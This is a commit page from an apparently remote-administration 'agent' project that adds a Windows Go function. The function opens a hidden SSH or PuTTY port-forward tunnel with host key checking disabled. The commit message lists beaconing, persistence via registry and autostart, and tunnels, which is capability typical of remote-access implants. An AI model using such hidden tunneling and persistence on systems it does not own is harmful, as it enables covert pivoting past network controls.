feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence
Extend owned-fleet control with scheduled tasks, audit log, file browser, HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
67
agent/deploy/tunnel_ssh_windows.go
Normal file
67
agent/deploy/tunnel_ssh_windows.go
Normal file
@@ -0,0 +1,67 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// StartSSHForward opens a local port on the agent that forwards to remote_host:remote_port via SSH.
|
||||
func StartSSHForward(meta SSHForwardMeta) (string, error) {
|
||||
if meta.LocalPort <= 0 || meta.LocalPort > 65535 {
|
||||
return "", fmt.Errorf("local_port required (1-65535)")
|
||||
}
|
||||
meta.RemoteHost = strings.TrimSpace(meta.RemoteHost)
|
||||
if meta.RemoteHost == "" {
|
||||
return "", fmt.Errorf("remote_host required")
|
||||
}
|
||||
if meta.RemotePort <= 0 || meta.RemotePort > 65535 {
|
||||
return "", fmt.Errorf("remote_port required (1-65535)")
|
||||
}
|
||||
jump := strings.TrimSpace(meta.JumpHost)
|
||||
if jump == "" {
|
||||
jump = meta.RemoteHost
|
||||
}
|
||||
user := strings.TrimSpace(meta.SSHUser)
|
||||
if user == "" {
|
||||
user = os.Getenv("USERNAME")
|
||||
if user == "" {
|
||||
user = "Administrator"
|
||||
}
|
||||
}
|
||||
|
||||
bind := fmt.Sprintf("127.0.0.1:%d:%s:%d", meta.LocalPort, meta.RemoteHost, meta.RemotePort)
|
||||
target := fmt.Sprintf("%s@%s", user, jump)
|
||||
|
||||
var cmd *exec.Cmd
|
||||
if sshPath, err := exec.LookPath("ssh"); err == nil {
|
||||
cmd = HiddenCommand(sshPath, "-N",
|
||||
"-o", "StrictHostKeyChecking=no",
|
||||
"-o", "BatchMode=yes",
|
||||
"-o", "ExitOnForwardFailure=yes",
|
||||
"-L", bind,
|
||||
target,
|
||||
)
|
||||
} else if plinkPath, err := exec.LookPath("plink"); err == nil {
|
||||
cmd = HiddenCommand(plinkPath, "-N",
|
||||
"-batch",
|
||||
"-L", bind,
|
||||
target,
|
||||
)
|
||||
} else {
|
||||
return "", fmt.Errorf("OpenSSH client (ssh) or PuTTY plink not found on PATH")
|
||||
}
|
||||
|
||||
if err := cmd.Start(); err != nil {
|
||||
return "", fmt.Errorf("failed to start ssh forward: %w", err)
|
||||
}
|
||||
|
||||
metaBlob, _ := json.Marshal(meta)
|
||||
RegisterTunnelPID(TunnelSSHForward, cmd.Process.Pid, string(metaBlob))
|
||||
return fmt.Sprintf("ssh forward pid %d — 127.0.0.1:%d → %s:%d via %s",
|
||||
cmd.Process.Pid, meta.LocalPort, meta.RemoteHost, meta.RemotePort, target), nil
|
||||
}
|
||||
Reference in New Issue
Block a user